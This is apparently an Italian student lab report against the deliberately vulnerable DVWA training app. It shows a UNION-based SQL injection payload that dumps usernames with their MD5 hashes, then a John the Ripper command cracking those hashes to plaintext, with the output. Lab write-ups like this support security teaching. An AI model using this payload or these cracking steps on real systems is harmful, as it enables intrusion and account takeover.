

W14D1

Recuperate le password dal DB come visto, e provate ad eseguire delle sessioni di cracking sulla password per recuperare la loro versione in chiaro.

Punto 1.

Screenshot dell'SQL injection già effettuata

1' UNION SELECT user, password FROM users#

La SQLI chiede al database (#) di estrarre gli users con le rispettive password.

The screenshot shows the 'Vulnerability: SQL Injection' page of the DVWA. On the left is a sidebar with navigation links: Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection (highlighted), SQL Injection (Blind), Upload, XSS reflected, XSS stored, DVWA Security, PHP Info, About, and Logout. The main content area has the title 'Vulnerability: SQL Injection' and a 'User ID:' label above a text input field and a 'Submit' button. Below the input field, the results of the SQL injection are displayed in red text, showing a list of users and their MD5-hashed passwords:

```
ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: admin

ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

At the bottom of the main content area, there is a link labeled 'More info'.

Come vediamo tramite SQLI (visto che il sito non disinfetta l'input) siamo riusciti ad ottenere la lista completa dei utenti con le loro rispettive password. Possiamo notare che le password sono criptografate in md5 (modello di criptografia hash) così sono inutilizzabili.

Per riuscire ad ottenere la password in "chiaro" abbiamo bisogno di crackarle.

Si può utilizzare John the ripper.

John the Ripper è un tool di password cracking piuttosto popolare scritto per i sistemi operativi basati su Unix. Fa uso della parallelizzazione dei task per ridurre i tempi di cracking durante una sessione brute force, ed è altamente configurabile.

Quindi selezioniamo le password e inseriamole dentro un file .txt esempio Hash.txt

E scriviamo il comando `john --format=RAW-MD5 <file.txt>`

```
(kali㉿kali)-[~]
$ john --format=RAW-MD5 Hash.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password      (?)
passwordne     (?)
abc123         (?)
letmein        (?)
Proceeding with incremental:ASCII
charley        (?)
5g 0:00:00:00 DONE 3/3 (2024-03-12 14:42) 31.25g/s 1114Kp/s 1114Kc/s 1124KC/s stevy13..candake
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

(kali㉿kali)-[~]
$
```

vediamo come il tool esaminando e confrontando le password in hash riesce a decriptarle e restituirle in chiaro.